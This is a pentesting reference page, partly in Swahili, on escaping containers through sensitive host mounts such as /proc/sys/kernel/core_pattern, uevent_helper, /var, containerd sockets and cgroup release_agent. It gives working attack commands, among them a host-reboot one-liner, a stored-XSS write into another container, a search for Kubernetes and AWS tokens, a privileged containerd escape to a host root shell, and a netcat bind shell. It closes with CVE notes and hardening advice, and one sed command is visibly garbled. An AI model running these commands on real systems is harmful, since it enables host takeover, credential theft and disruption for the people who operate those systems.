# Sensitive Mounts

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Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace kunaleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufunuo wa taarifa. Maktaba haya yana faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya `-v /proc:/host/proc` kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha `/host/proc` bila ulinzi.

**Unaweza kupata maelezo zaidi ya kila hatari inayoweza kutokea katika** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

## procfs Vulnerabilities

### `/proc/sys`

Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia `sysctl(2)`, na ina subdirectories kadhaa za wasiwasi:

#### **`/proc/sys/kernel/core_pattern`**

- Imeelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au script ambayo itatekelezwa baada ya ajali kutokea.
- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.

- **Mfano wa Upimaji na Ukatili**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
Angalia [hii posti](https://pwning.systems/posts/escaping-containers-for-fun/) kwa maelezo zaidi.

Mfano wa programu inayoshindwa:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**

- Imeelezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Inashikilia njia ya mzigo wa moduli ya kernel, inayoitwa kwa ajili ya kupakia moduli za kernel.
- **Mfano wa Kuangalia Upatikanaji**:

```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
```

#### **`/proc/sys/vm/panic_on_oom`**

- Imejumuishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Bendera ya kimataifa inayodhibiti ikiwa kernel itakumbwa na hofu au kuanzisha OOM killer wakati hali ya OOM inatokea.

#### **`/proc/sys/fs`**

- Kulingana na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), ina chaguzi na taarifa kuhusu mfumo wa faili.
- Upatikanaji wa kuandika unaweza kuwezesha mashambulizi mbalimbali ya kukatiza huduma dhidi ya mwenyeji.

#### **`/proc/sys/fs/binfmt_misc`**

- Inaruhusu kujiandikisha kwa wakalimani wa muundo wa binary usio wa asili kulingana na nambari yake ya uchawi.
- Inaweza kusababisha kupanda kwa haki au upatikanaji wa shell ya root ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
- Uvunjaji husika na maelezo:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Mafunzo ya kina: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

### Wengine katika `/proc`

#### **`/proc/config.gz`**

- Inaweza kufichua usanidi wa kernel ikiwa `CONFIG_IKCONFIG_PROC` imewezeshwa.
- Inafaida kwa washambuliaji kubaini udhaifu katika kernel inayotumika.

#### **`/proc/sysrq-trigger`**

- Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya wa mfumo mara moja au hatua nyingine muhimu.
- **Mfano wa Kuanzisha Upya Mwenyeji**:

```bash
echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
```

#### **`/proc/kmsg`**

- Inafichua ujumbe wa buffer ya ring ya kernel.
- Inaweza kusaidia katika uvunjaji wa kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo.

#### **`/proc/kallsyms`**

- Inataja alama za kernel zilizotolewa na anwani zao.
- Muhimu kwa maendeleo ya uvunjaji wa kernel, hasa kwa kushinda KASLR.
- Taarifa za anwani zinapunguzwa ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`.
- Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

#### **`/proc/[pid]/mem`**

- Inashirikiana na kifaa cha kumbukumbu ya kernel `/dev/mem`.
- Kihistoria ilikuwa na udhaifu wa mashambulizi ya kupanda kwa haki.
- Zaidi kuhusu [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

#### **`/proc/kcore`**

- Inawakilisha kumbukumbu halisi ya mfumo katika muundo wa ELF core.
- Kusoma kunaweza kuvuja maudhui ya kumbukumbu ya mfumo wa mwenyeji na kontena nyingine.
- Ukubwa mkubwa wa faili unaweza kusababisha matatizo ya kusoma au kuanguka kwa programu.
- Matumizi ya kina katika [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

#### **`/proc/kmem`**

- Kiolesura mbadala kwa `/dev/kmem`, kinawakilisha kumbukumbu ya virtual ya kernel.
- Inaruhusu kusoma na kuandika, hivyo kubadilisha moja kwa moja kumbukumbu ya kernel.

#### **`/proc/mem`**

- Kiolesura mbadala kwa `/dev/mem`, kinawakilisha kumbukumbu halisi.
- Inaruhusu kusoma na kuandika, mabadiliko ya kumbukumbu yote yanahitaji kutatua anwani za virtual hadi halisi.

#### **`/proc/sched_debug`**

- Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa PID namespace.
- Inafichua majina ya mchakato, IDs, na vitambulisho vya cgroup.

#### **`/proc/[pid]/mountinfo`**

- Inatoa taarifa kuhusu maeneo ya kupandisha katika namespace ya kupandisha ya mchakato.
- Inafichua eneo la `rootfs` ya kontena au picha.

### Udhihirisho wa `/sys`

#### **`/sys/kernel/uevent_helper`**

- Inatumika kwa kushughulikia `uevents` za kifaa cha kernel.
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzishwa kwa `uevent`.
- **Mfano wa Uvunjaji**:
```bash

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output
```

#### **`/sys/class/thermal`**

- Controls temperature settings, potentially causing DoS attacks or physical damage.

#### **`/sys/kernel/vmcoreinfo`**

- Leaks kernel addresses, potentially compromising KASLR.

#### **`/sys/kernel/security`**

- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.

#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

#### **`/sys/kernel/debug`**

- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.

### `/var` Vulnerabilities

The host's **/var** folder contains container runtime sockets and the containers' filesystems.
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
containers and applications that run in them.

#### Kubernetes

If a container like this is deployed with Kubernetes:

```yaml
apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
  - name: pod-mounts-var-folder  
    image: alpine  
    volumeMounts:  
    - mountPath: /host-var  
      name: noderoot  
    command: [ "/bin/sh", "-c", "--" ]  
    args: [ "while true; do sleep 30; done;" ]  
  volumes:  
  - name: noderoot  
    hostPath:  
      path: /var
```

Inside the **pod-mounts-var-folder** container:

```bash
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="sw"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
```

The XSS was achieved:

![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

##### Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens
which allows the container to gain unauthorized access to K8s or cloud:

```bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
```

#### Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
the other containers' filesystems are available under a different base path:

```bash
$ docker info | grep -i 'docker root\|storage driver'
Dereva ya Hifadhi: overlay2
Dir ya Mzizi ya Docker: /var/lib/docker
```

So the filesystems are under `/var/lib/docker/overlay2/`:

```bash
$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
<SNIP>
```

#### Note

The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
locate the other containers' filesystems and SA / web identity tokens



### Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:

```text
/run/containerd/containerd.sock     # socket ya containerd CRI  
/var/run/crio/crio.sock             # socket ya CRI-O runtime  
/run/podman/podman.sock             # API ya Podman (rootful au rootless)  
/run/buildkit/buildkitd.sock        # daemon ya BuildKit (rootful)  
/var/run/kubelet.sock               # API ya Kubelet kwenye nodi za Kubernetes  
/run/firecracker-containerd.sock    # Kata / Firecracker
```

Attack example abusing a mounted **containerd** socket:

```bash
# ndani ya kontena (socket imewekwa kwenye /host/run/containerd.sock)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # shell kamili ya root kwenye mwenyeji
```

A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.

Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:

```bash
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # requires CVE-2022-0492

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # inasababisha tukio la empty-cgroup
```

When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.

### Mount-Related Escape CVEs (2023-2025)

* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).

```Dockerfile
FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
```

* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.

* **CVE-2024-1753 – Buildah / Podman bind-mount breakout during `build`**
Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.

* **CVE-2024-40635 – containerd UID integer overflow**
Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.

### Hardening Reminders (2025)

1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.

### References

- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)

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